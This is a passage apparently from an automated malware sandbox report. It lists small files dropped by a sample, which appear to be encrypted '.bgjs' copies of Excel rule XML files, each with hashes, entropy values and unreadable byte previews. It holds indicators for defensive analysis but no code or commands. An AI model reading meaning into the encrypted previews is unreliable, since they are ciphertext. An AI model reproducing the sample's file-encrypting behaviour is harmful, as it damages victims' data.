Preview:	<?xml(...E..T.w}..uq.....u.U.O...qT=".'.S.....\|.V.....!H...e.'..!..\S.V7..V..c.p.CE!....8...!."Xl..)..\...t..jX".....9}7.}.L..L.29..o..j..U....GE...(....H..U.6..PxB(.7=.fX#.....,..uiY....7y[.C.{...Z.dPRlA.....s.f;,...uBE......P.x..d... .$.j.k.....?...b.Y......c..<.r..`..\..{"&.[.z..U:M......A.x@./..?(D.?.5F..+..nl..[.*iV.....V.[..-....A{.y....g.L..f....-.....sZ.,.6..aDO..?'...\|...7?E."Z...."N..H...2s....1B....];0.).Qy&E.R.j.u......j:/.F.Nl....,.....<?...N.=.o...r..Eo....%9.1.w.H..[....p...Jtx..M..s%.^....6.......1$.......'\|..L......!.e5....Z2p.v.e2..4.t.....V<...w'...q..l..XxM...;..I...d.d....P{.X.W.P.a...^.+.Z.<BLV.......o...S<..pY..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.748626658750669
Encrypted:	false
SSDEEP:	12:4iThJUsPUFjVDJEV0CFbzVsYCiuGcu1fF2FW70HcBDy8WTSTP3Gop0uWHNh2U6qG:4i5s1V65+d3GcuH2K4x8WTkfsZ6qfsbD
MD5:	F6A4FFEE875D98FE02D1582685138770
SHA1:	6ACECD655B111C7E1378C79EF3925DC564215F92
SHA-256:	AD70C67F524352F056F06461F8CEE106D1E7FA94DA0F98FF3A7C75B9271A8A29
SHA-512:	917E19422950CB2A8D8932D9E16FCA4F3FDB0743D77A2A017FE7156A17B4CC38D8E8F4BEAC75C59108A3210BB27E19DC97AD9F5F488C587BBD1763E827AA09AE
Malicious:	false
Preview:	<?xml.u....\eR..6q..........g..w,..g..K.[.....Br.wM..'R.....p...kZ0.+).B..`..E.Gx..E..bK............@..OW..o........g....i....W..ka1..O.2....t..(D...:..6pz.>\|..p.I.`.b.:s.[.Z.u&.!.1..$.B......R...wI...b..........v..o......WC....p/s..J.O...l.=i.......Y.TK=vfk..(..1.3[....@.._...d.MZ.).~d.R...0.....`.Dqu.=.n.9....B.? h1T...PA..u...O......."....Fxf`.z/..f.....Z".h.....cU..,.W.:.1b(._.........DS.N...Z.>.....k....8n;..N...s......(..x.c..-.(..q...z_.=.LD30...9.'...8.....'......B.<...%...BF..v..n...B'. ,\|8..w..b%...iV..s..g..........y..MG..'].,..:...%q.!..o..HD...e.T.2.g.Al.X?..).....y..x .e...g.=..6....2.@O...^...FNk......"..u.b...8"$@..R..hI..........._..B...f..c...lr.....6...f../........k.*..f.Qp....s.o..%8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.730148750849286
Encrypted:	false
SSDEEP:	12:ag7RPz06phX+nBJaByK0kbPxL3Y4JMAPdS8Mj67/BFC/ph0kDyvZsTAS6llzZYQZ:asdLV+fHOPxl9MjQ/Baph0LvZEAdlDrZ
MD5:	978CEFEB55B36B6FCAB66DCA0AD86B4C
SHA1:	93A9BB68B0CA2E5A1BE52B0AC5B6150F671E2811
SHA-256:	2282ADD849AD8A4A797DF5267D88E228F63DCDB6D6A48A82CC23BEAC1A5D8DA4
SHA-512:	0B25F7888D79BBC6B3EC0AA6B193F02A238A17C8BCA7F35E24392CB02EA9C15107BBB27CA7575C708A50BA12D05487ED9534180F1F4CD97703B41791B6B380DA
Malicious:	false
Preview:	<?xmlc~......<........E.i.....n...\.....`....Q.L...??3.&a.-.Z.t...47..m..F$.9...=...z....sr.hn.T..JY.Ja0dT.H..>.e.....2x]..?...o5.,..@W.h\..X.......T..cP....}.....H.'Nx.;-B=M".q...0....;0c.2.2.H.....m...;.g....@.\|9Z..YS.\...n.(...r..2.....u..W'......0z$@.'..R0.L..f..k..3...>..q...'......w.'<<.].......A.......F..C!.`d..=..*.N\|...X....).....58+.$/...}.l.....u).o....^..lG.Mo.....)]....5.5JW.W.Q:..^.jg..d.R..S!gd..A..Q....sX)..........V`.^R[ht.BK..p..R....^+o5'.e=..R...I....O.x.zt......<)..`.)D.........+. ..Asd~.a.'_.T...b..&.q.4>...\|.K>Z."....b.........o.....&;,....NE?.."~k~N"i......EGv..`.5..j......a.@.....%UzPD....n;3$i.g8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.76624233411221
Encrypted:	false
SSDEEP:	12:lyifdOQ6HXEa38MMpLK34f/ohgqueDKAkwgQrn+Yuyx+RD0GzAngUQscii9a:lygQl38T+ZhgqR2OH6YNY10BgJsbD
MD5:	2DDAC0239B2082FAE92E37AD3CDCB3FB
SHA1:	8EB714E8EDEF3A0D37FAAC33B742DCDED335D426
SHA-256:	810B1AA7E12568C30E71F4AAA168B7FA9E5A5B059B9578498FE4AB2686019873
SHA-512:	907DF06B7161253C35B66BC138D41D80714A55DE31803376C1DB5781924F986225550234952A92EFF336129EA5B89803483274365E3A1CA87612BAC32F3202C8
Malicious:	false
Preview:	<?xml.t..=....K..4.b..R....[.(..4k....Gf..+U"!...F..~a......Q.4.\....Gv..`.]....h$.\...jc;.!...E.^.oJZ=_..G.?d~.o<p.u.<.....^0.i.... ...5...)A...3..1....J5...&EB...+...c.m.ww..Yx...}:.NFGhn...><..).p.O.X...p..}....".h.&..{!.n%.7.......n.J.L,..`....;.3G,.....b...v.oVt.@....}.\.u.4....v....~.Y...V.L/.V'.4...k6k.4...6...,....L....R.2./.rC....H.b.A..RZ..W8/U..)8..x...jo...`{.1\b...p.. .H?.o..E..<..-.;'...b.k.}')!...9..@..;.v..i^O:...x..T.._._i.c.=..,...c.ehJT.1...]=...LLnm.75.@U..z..gV.......E.H.4A..B.......@.Pe.@..\|c.]. H.$...X.......8.u.p.. ...E..0s.;...u+..Z........{.......+..v.H.e..........)...H.....II..OM..$`.im.>n...QSf..">.....g....+..........%9.J%.!.d......z ...q.........u$.!w.I.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.703778853214126
Encrypted:	false
SSDEEP:	12:aXsoQ7+A4fOHF4ajPwBnx50g4fZOVvoWHE79j7LKL1K+ZZjxTJScQscii9a:vn6P47PUwOWWk7g55jihsbD
MD5:	74B0796E2240722048E83ABB3A4938A9
SHA1:	613CEF792E0423604FF69F98FAF47568E8FC4A7E
SHA-256:	2B8C9FDAC21C96710B4070E55F3E0C48EB566F4541E0B0F0FE7727DA1D014F99
SHA-512:	179D3CE7970CBE0848A9C87970E76CE77A89A877A6082EEBC0B9B3DAF5B56E4CBE7381BE6D2165BD5248244EF05AAFBF60AEFDEA04F0F063BFBF089A79E041CE
Malicious:	false
Preview:	<?xml.-Q...M.s(S....q..4..~.....!_....'F.5.........1C...^..o,..e.2..5......\..a.5...y.:.1.z....H....%.A.....OA.l9((...a.A.....e....jc..Y"....T6&..G...l..R...XDA.s.}@._..Sdm.r...% ..hb.$.z/v.;O..>O..p.K..L.fM?.}Y..Y.......rY/..!.b.qZ`"S[v.a.b.X..O.x\|.]._..@..s/.l.R..7.....i.....nD.M{.r......~..QR.<..B.t?(.z..J........=L..u.....O...QH.j%?.....o.....TDQ,..2.E[...k...........8...mn.Wx.....fa.q6.2^A536iZ.T...A...+]p.2.!../.F.(.jN....1..VC.m(.y...Y].....W.O.$....L..+.........`.......)Aj.+p............%t.g..v..Z.....8S...j{\|.u.X.....-0....o....3Ih...:..b~".N\.A$.p6@.A.....1/T......!....;'..).....H.A....K........K~.n.Y.Cv..}.hyuN..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.7336137857563845
Encrypted:	false
SSDEEP:	24:O65iqM5QJq8cYZLnBtwPY6JLhBS41NAjivkoxPNvErsbD:O6Qf6AoBKPDd16jakaPSmD
MD5:	D49E818F17FA5E4EC2C587AD8F8CC3B0
SHA1:	3CCD3194456EF306FC7965F61F584C761105B072
SHA-256:	0076A70430EE2E91FAE99C684E6EADE614684A9F62AC54188EF562668A04F3EE
SHA-512:	2CD78F834C9E2B54E49A957D2CE08D6F6F2307055278949ABFE143A444B923901DEDB5A93C9277DF95785A4DDA2ED30E02EA8F16AD72C1D62BFABFE633DEB8DC
Malicious:	false
Preview:	<?xml...`....\...8U........e..].P..0.,P.U{..w.....ei..Y+t..0jQ.?.Hj...~C....k...V5...D....$rVE~..-.w}.k.........R.=......2EBW./..y...E.].........v2#.G.....Gq.1I.L.3v...E...0d...t(.'...._8+.l.P...%{\....I7.(.6..^.7}..8../..b....NQq...~.`$....f...nD.DtIz....(..XO.<f....C..p...P.R.u.=.X.5.dk.{....Q.a.,i.N;.jK....a..o...+.54<...%.%h ..u.._..xH....6^...$f.XQS]#..1.il.X..^=..".JM...+.W..].}.$g.?K>g8...Q....m.Z;\|...F[3&.\|.'H..0r.uV..-....D....8LF......k&.M.....a...qs...M.jE........<q7:1i}vY?..Q.}.I.e...<A{.by..s.......,..U.....Q..D...,.cR.6\|..3r..$4.^.2>W5.j.L..F..r..NK$O...%..,nO?..ZOL.?..#.\|}.Y......-.XT./JLF[..\|..x,...52.....q$M;I..<C.`../.+.\zF.9..h....o..x..m,.:...=..d.&yI,..u..H!8...o...z.j.m....`..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.703428682427239
Encrypted:	false
SSDEEP:	12:AbbXy3dEJeudftb6Kq7AqUNK2M/nXzLsR4LwJkPsvlUQscii9a:Abjy3dXA/SAqUW/XEejPsdJsbD
MD5:	46D76DF02FEE62BE916C73807BD78F52
SHA1:	04421A054FD9379B6A0F62657D1A61AD0EA0F554
SHA-256:	A82ED49077F9BF5F092360346F5C65656686828ABB5B2E71CBF28998FF389564
SHA-512:	922FAA3795848BE7E56389783BDEF49EEBB06A15A01C8CC4ECF324A781DF6AD44C1DDCAFC6E208551788082307B7108DF36E2FB8CC134E75D2C5354724AD5D58
Malicious:	false
Preview:	<?xml@....#1.......:6... *...~......M........dO.F..\|kgo..P@.7....f../..O.`.oE..o.L.u..:.p)-.w.=..S......e.e...:....y.Y..t...%D. TN.Ft.......ZH...f..U2f.h...s%gL.}...7#@YN......D.W..;..$.}..Ia...5CP....l.tg\|..5.^g\..Q3{2.p.M..4..O]...M.._..1..Q....A..etg:Vje$.M......t..Ro.BE..B ......I.....`....xG7,..[...M...I.T.....gJz..^.......S...1...!).t.R.Y.......wH..s'....A.9 g..]6...2.m...a".Z....n.T$S.s7.\.A.G..y.s\|Tl."3.Q.e.O.hg.#..._.F_..c.6K.,..S.aad...U..dqP....pN@.B....N:B.-7...\|...Z...S.M..S.7MMk..Y...\.+.8f.#Y..yf..%b.ZjW....B...Rh..x.4...w ]u..>.#...qI.%....9._.Iq@.Z%1{...>...T......m.K.SjI-.<..Z`..n.....U(.n.DR,.!/.#.....X.R\|Kg.U..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.775354918067176
Encrypted:	false
SSDEEP:	24:Ox+YcRjecri1KzF4FqrRolQKAkxLSbERzr8JsbD:7acri0v9owkxL4Wv8JmD
MD5:	2D00867F53D24AE38CC68E2F910DEF19
SHA1:	542096597C0AA29F3BE930B4E283C5A64EA19B87
SHA-256:	EF6055DB2C35EEAB8D5D4DBE34FAA14DB46AF60F79D06597405858BD2DAA84E8
SHA-512:	6260D1198F8C8A55C35047EC39BC7A9688FF991FEEB817991D63C27B6690F005C30F65C8607327ABB93F6200D65D2C40251F3FCB06315B9DCBB14C19655C92EF
Malicious:	false
Preview:	<?xml^.?.B.D....w.%).]q.[kH...i.}..._...k.aN........?.....l..5........y.Un...k....I[..c4........er..\...Zdz....+.$ ....I....._..Q.bx...W.N...y.#.{A...P....x!aA_.P...]......:.4....\E..b...........D\|.m.t.[[!Qi ....)Q...-..{..?.H..I5.,....o....&[.s.G.]..4..j..q.n.._..%x!.i2P....=....-.N'#.\nWf..trPo^.P.7O".i.....3.v+....\|..cK...[V...S....&R...@..o..Y..xks.....P..E&..9..W..#Ng/...$...ak......9...DUJ..%.{......:....b1.BE..d[..GAU}.M......+.p$.Y.g...(..r.U...f..j.n..=k.{.2...~....]....C'..`..d.:.J.@('.V'n...D.C....]t.-QA9.t5T....':..0.5..oL...`.K{......>.q..V..._;`'x...4]7.......j.@."4.<...)..]..[...2.A...U.+K....V,.......-...\.%...r..Y..E=........X..._.W.O...;.x.{.............g..1...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.7087544409930135
Encrypted:	false
SSDEEP:	12:kbZLRj8khos9jQflPFv+s9Y4Omf8aGQ8N9tN0375STRPhX1leWM7xRU9pWQv2QsX:2Zros9jKlxOK8gGSWdrM7/k1sbD
MD5:	363E28AF9DDA54DFC0D2E09CFFF5E695
SHA1:	7241E953BBBF26CECB9072E7EE5C8D654D495F93
SHA-256:	704B95FED21B4AC09ACEAF3AF294A9F718BBC7E0B8981F6BCA921DA5164AF4E2
SHA-512:	EDD51CB884CBD29E27A6A5EC138DE936D86D55F520F28F92196E39E09202374A26E8D6F34B5DC004E2D477F8402C840DE13A0B67981CA73BC1DC4F35D16614FB
Malicious:	false
Preview:	<?xmlYa..P&...n...bs3..H.....#a]..R.S...cM..J5.M...J..w.9Q..,...fk...g."..N..5/.ST.3.....\`c8SY....NG.Q....!Q.....P.^..).,IB.`...t+.).?m4+.+8...J_..-""....eS.jhLw.^j-%P{.<.l.e1m..-x+..h..&U.$5{....... .y.KO.#..Lm....XS4...e...C.....L..c._..6.R..h.Y....3......L.;r.....b-bX.[f.....u). ..F......;..7.D.Z.KL\|..:.?G...,?.$...u..E..5.HyG.....i..(...<.`#....K.-1w.h.q;b.J....Z....\|..^.........u..z..0W..A..j........\|.......'..#.S.`.....#.*...."8Q..C".......r....u...7t}xc...'S.VZ......o.R.N.....=m....@....Q......./~...3+...P.\|.kV.(`.7pq./._Zq. .V...L]..._-.f......?X.....OZxt.;=..xcD....J..C.2T2g.5w.X...2aic".[y.e..].q.....3.O..u0.....I...jJ...3..l+...u; 0.1K.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.718572762532578
Encrypted:	false
SSDEEP:	12:FSxdLVOCiE/0IDjaLBy+kxgLL7HK1mko3XsCcSrcLZrByJJzGkkpVQscii9a:FgdLVjGIna1GEdXs5eKqJJzHsbD
MD5:	7DAA1523F591CC965619582EBF464BE9
SHA1:	1761639D542C5EF8413754431255841F14F17135
SHA-256:	02D70C81C3B944E3434062A675D85B059809C8B89C2F7350B05D7255B407C975
SHA-512:	C3FC60C453B6218040D18097743A93DC27F53D869E2D285C32A8E6835EBE50A4E558A6156D66A3DD852FA0413A61C134BB1A9A58BC9690E6BE9FEE5A0E93E6EE
Malicious:	false
Preview:	<?xml..Y..;..^#"4.b)..M..l.@Wv...R.H..A.9....$A;..m../....e9...!c.0..f..g..I.b.....w...5%b.15..S...f..O.......g<.p.P....W....A.."X..\El....../.l.....k.#..k.LhL..J...M...cCb.mo..yx..N...#.>....s....E.....2..M.5..R.o#..E...i...3.5.....-y.q._))...\.L.#y.=+..j>..T.H.T.s..c>.9...u....W...aAE..j:.......j.p.X.."..S...."...5..W.ezP.............;{.q...x....gK.Np5..4.o..m.x.../.O..../...q....j".;S..<.................`'.":...8......K#<h.......3.._.w...R`..R.'7.\|....s.......~.Xy0.W.u.A.#.(s]....(.:.Q....Z..}..-Sfj.l.&hZ(.[..GcN.qf....(.....e...m...#.t.....9..7.4..Q~.W..S...<.9..hd.....;o.D-#?^C...bZ.,K.w..z0.X...`.df..$B..x..}+u]L...Si=@.,.u..@./e3......C2'.^.....O..q..3.x.....I.^...0.f..=...kO.j.,..].=.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.727269709932162
Encrypted:	false
SSDEEP:	12:YPA8Iq3o4ydO/0/Cb0Fk6FyZ1ycRG+mdh4r3rXiO/lTmREoxoCX4gx1W0X1eQscq:YP5IR/s/0KbAk6Fy1yJVdhErXN/laREj
MD5:	604A8FA13323455A06613A886EAC246E
SHA1:	30F0E596F272B6D51D4382DA552336260279CE97
SHA-256:	D85D974F59DCED7114FAC3ED2D48E6D9C7755D32C24B932BE3E36A167A81475A
SHA-512:	3F1A9541F94B0FC5F2EFD56B29D40744C99F6EF634B41BF756F4707EF20F8A4806F1375A88616710FFFF8BBB0EEDED88B71CB68D2A938E5A6B8117D899981469
Malicious:	false
Preview:	<?xmle7...y.Ys....H'......z.@...D..z.8.y'.....4y......D.*4+..P....<(..O.sW.<......=H....<..!.@...}@....k\|.=.g.....q.......a....n/S...'M'....W......N.........%...g...UrOk_gF$(Tu.........\|.2.@..2..r..EV...O.l(.K.t.i.^\|.8f.2X..&..4i!.Pby&.......m...$A..4j.t.<n^....JG.F.p".R.4E......Z.......4>W[..+..u..,.2.R...J./.=.~.G.K.....-.W..V.hL.\..W>j..,.\|.,X&...vr..S...}.....A..gR./..0./....E.>.2.X.I,.i..Mv?18....w&./.?.........J..L.xS.G.&.....7.....)b0.!.8.~..P..h..p.......>..xS.^..........Q......A..Xl.6...i5.....}.:...x.........I\I#.A.....DO`.M..)....i.J/.........s...........H..o.g..rS.oL...\_!vB._...&ak....8%...i........Hy..r~...R..}.E....c8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.692142607431823
Encrypted:	false
SSDEEP:	24:1402Yp7pZ8/uwTRXyn5sER+HwQ+duVXsbD:18YZP8W4Xc5D47mD
MD5:	3C1E88C546D965BBED081A817FE07FAA
SHA1:	E42924FB810840ECFE9922E3309885F166533224
SHA-256:	3C68B812A8B67578FA139DD68D1700F08144D1403C38A751528FD93B9859933D
SHA-512:	1C0857B5E49264BF612DB73D0872B67BE91CE6E8CEDA1CF3A6DCE8E7F57D14656CEBAD2E5DEFD8489AE8BB83CC96BC3C63779133C8D739BE35F456A82D1A5602
Malicious:	false
Preview:	<?xml..X.!..6._.^..O..l7j.6.7y...=(.t.(...z".H..O!.#....DX#.8.x...?v.>.3\@...Er...U2.L/...>..Fj..J...K.. .dPP.w...Oj.rj.....o.G...{....8.e......jt...G....B.....W.2&jJ.k.x.......w..>S.aF:.0....'m3V....d.5...n..^......q%E....M._....#...#.._...$...~.[8....V.6....:+...a..'.^...O.ADp....7U_..P..w;6R.egn..&....Tl....... .;.I.qN.E. .}...2jV..o.wq.~.....]3..1f.F. X.t......u....._...R...r.....u[.!.Mk.....`.T!..j+.ies..%..#I..z.>..=......\|<..;.3.:.I...z.=.YlI0.6....,a..7%8d..x......[...>.:......Rv(...}.O....N....t..D..;..1\.+...a..2..lP......0?....g3z.74...wa4Q...N..$.]G...6?o..E.{...m....T...l.....v....ps.K.:me.3.nA.oz..z+4..C.0......8.Q.......9..0.j....a.%3..I....`..w...)....k..O.A...~i....89.y..)...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.725688852143464
Encrypted:	false
SSDEEP:	12:PntqM/mE+Qjqj65vDblzGmJ5Nmasv/ASS2s9br0EZwA8tDDnWPIxTQscii9a:vtN/TfqOvFzGmJ5NmasXk90rnWAxcsbD
MD5:	19FABE8E99FC7C4600C3FF621A7DE1CB
SHA1:	86B7CA3D2131F92222B37F98B4C8E91D5047757B
SHA-256:	C84E36E3744976FA31CE7A6D5908D7152145CEA01DB2E0B82155E7D9A75DD19E
SHA-512:	651747A4D71B832FE9E1AA5C1334798A49D2B6D629E2878FDC6B51F1CA82A958E1730C45ADF52AA0310B7B375F3C61C1A0FAAC7B3E0FBCC2C76036DD599B0306
Malicious:	false
Preview:	<?xml.....N.TT..e... ..O.@<Es..........O.g......-Q@...."Q..@.V.s...$..#...!...?X.p!a..d@...Hx>..#..Zj...jJ".$p.FO......V......Wo.P7....b....... ....(..lF.\...l.@...'..?c~./Uo..^...yRy^.3t..Es.z.c~. ...x#...../\...%......n......-...{.X..kT..(3.=#.e.....x>.vo..... ..W>........n....6....2yg._.6i..t...".%..a?.`....E:2i..m..LZ........%...4...Q.....:.Ph..%H^.X.t..j{MG.pHqD..se....A"..bq..]1.......r....^]/.d..T..H...5....$.5V..6.<q...J....M..3Y.G.1q.$5...#...,.YA2@. ..Y.....i.U..a.,B....R...tjm..O..i.^.I.Rz.Y.Y.0.....yz..,....)..8.. .R..{.z...K.(...H....]..<}..Mj..~.-..."$cP.6.j..v=......6.\|.@..-.,.1S....]E2.(..o.vT.4Q8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.724462267243871
Encrypted:	false
SSDEEP:	12:kKZFUMPkWO3+yXstkeMGUZMOOl/kzCcJ8twS0N8xOV8n42bqQscii9a:k8uMPkW0+CsZMGeKszvJ8tw+xF53sbD
MD5:	C609DB375AD5C0110A52FD030976EB91
SHA1:	71F4F6C832D037B757B83C8CBEAA159BF4C82D98
SHA-256:	1BF6013C5629EAD3EBAB4D1831ED12CF88257E8E307C8AC53B4C819B05F82860
SHA-512:	3850A1379537DECDD02C0E71A5AE33C8045396CB8A76AE3466166AA9066324454B0E513F74E1AA67D1AA3BCA7B146F778270B0A4F3B094280362710A76D2377A
Malicious:	false
Preview:	<?xml..N..V..K`d<....2."[B.X'.^..L4B.<<.w..4..J1.!..)..........33.[.5 .G.r...;U....&.v.h1f$.".......K.....!....k....H..d....%.^.?.T5B....#..iw.-..^...5. ....B2...7.....Cq)..S...s^`.?qa.....,.w...V..+.V.h..Am.....S.."K.R.].i......`?...wv..&y.y.K6..m......x-$6...,.T..P......fF?Z!.......A...o:..{n......;..P.......'.0i..{.A.l.....G.>..5...(.Ms.....tA.s....K..c..=`... ........I.86 C.u..Y..\..{.W.Wo b~..3\|.......k.4\++..l.."zf..t...2..l.. .....A.C<..z}9P1.v.....%H.'N>...%...^2..[:.:.ICXJ.H).c..K2.M..Y:i.!..X..p...S.H~....O\|@../J"=&........MN...A.........lZ.......X.w.\|.....S...In....Z..#C{..Na.].g.M..~.....T$1(D7...._i....XxA.u..+.k..x..JZ....o.g.O... ..`.E.%..x+[.i`...g._.#.H.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.738913760250822
Encrypted:	false
SSDEEP:	12:4zrBgRpwSjgY6zTsfqxDB0+brqnetxLn6+ITg4bV7mH7DgKDLiul95lrEQccimgY:4HWfwSMYEsfGnOaxTog4pG5DLiCFEDBw
MD5:	A3675AF2CE2AD9CC17C8D14B786953A9
SHA1:	7C6BA7D33DFA4A1C5AF650AE2110D272B72D4233
SHA-256:	350A5EB0750F67E765DD956B016F1B7EAA81414D737A7BDA2BC27FA20226DF9D
SHA-512:	4E5D5CD5C475B996A605F9A8DF444430226AD2C76DF10A7E40641304B7E618B1A1CB67F93BE60529A3689FEB272BA70261A49BF9C201F869ADC6BA84019D9B2D
Malicious:	false
Preview:	<?xml.....`OJH....M..Jx.x]...yj.E.HR....T.Q...(\j..W..G....+"$..;..q.I.>.B..>..i\....{..k4.....3..\...M... z.....0I.r.. ..A.....%.M.Nb0R.X.F.l{.X..@......0.!....e.P,3.........O...X.7....(< .m...O.Q.). ...b.]..-...=..]F>j....\|4u..8J.\9....PV..B...u./q_./..7e....7...I?.. ..7..Gkb...$.......G.+X\...Ms..S&]...[V".c....`.^.7..y.....X.g.a....\|...#....&.d.U_c5&......2...Y.RR....l.A...'(.m..(.{........E[.....K.t.u..1r/~......SEGd.n!...!..).W.....=.v.?..Am(W....D.Qh.......s*.%.....\|.P{~...^..P!.._.....}.?[ga...W.....:....GZ..V.....}.2..<.;.......lJ.#...o......QQ>J....tyGxh..viD..o.m..6.3R.)..V.. H$../D.........Z..fY...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.742927877763988
Encrypted:	false
SSDEEP:	24:vGsisOzRYxSZtlUbzbJpArDJQgfS5kOAsbD:+PL0zbfQJSnAmD
MD5:	1A8D6AAE7440A7F860E08394F3BC3937
SHA1:	243881910D23CF5B352A564318E5AE0226B6E960
SHA-256:	417B3DEEEB5F0C434EB0FD933EC3E796D178AD3AE2AC7340B893CE53A4C1CE52
SHA-512:	F7CC71FE99F1709388FD639620D1737CD2173D393C90817B9BB3B7A93AB35607B13F043BE52E9BD916AB3D7E280CD2CAE135BB23CDCCFD0B1C47905F1A78C133
Malicious:	false
Preview:	<?xmlg3..ke...k....a%.V&..r.Y.sf.5..O..XD..-..9Jhz.....+....Zx..e....Utl....'..4j.M..($!....0...z....Y....=..Nq..8.o'W...B.5/Q..\.eA"#..6'5.\........1i7i.$..v....G9q.,....#.H.....<.v...T...^..R.9.f...=....(.[.....$%.~.i.G..g...b^>fi....s2....AhK_..Le..g.....Y...a.v1.....}..Wj.6...r7..W.e.x...].\|.{E=y...@...F.y_..^...r...n....u.....&..#.._..~i...4..w........@MY......x..86..n.y{....=f.......X.u...?... ;........@Q...!..#...J@....3.>....-....F'.0#=....%...v..;..f.o.A..0#...Atn...CMp.1........x.../!MI.2Fz....v........;.B"P..\|.l......'.T~(...IQ\..rL..fs.QF.. 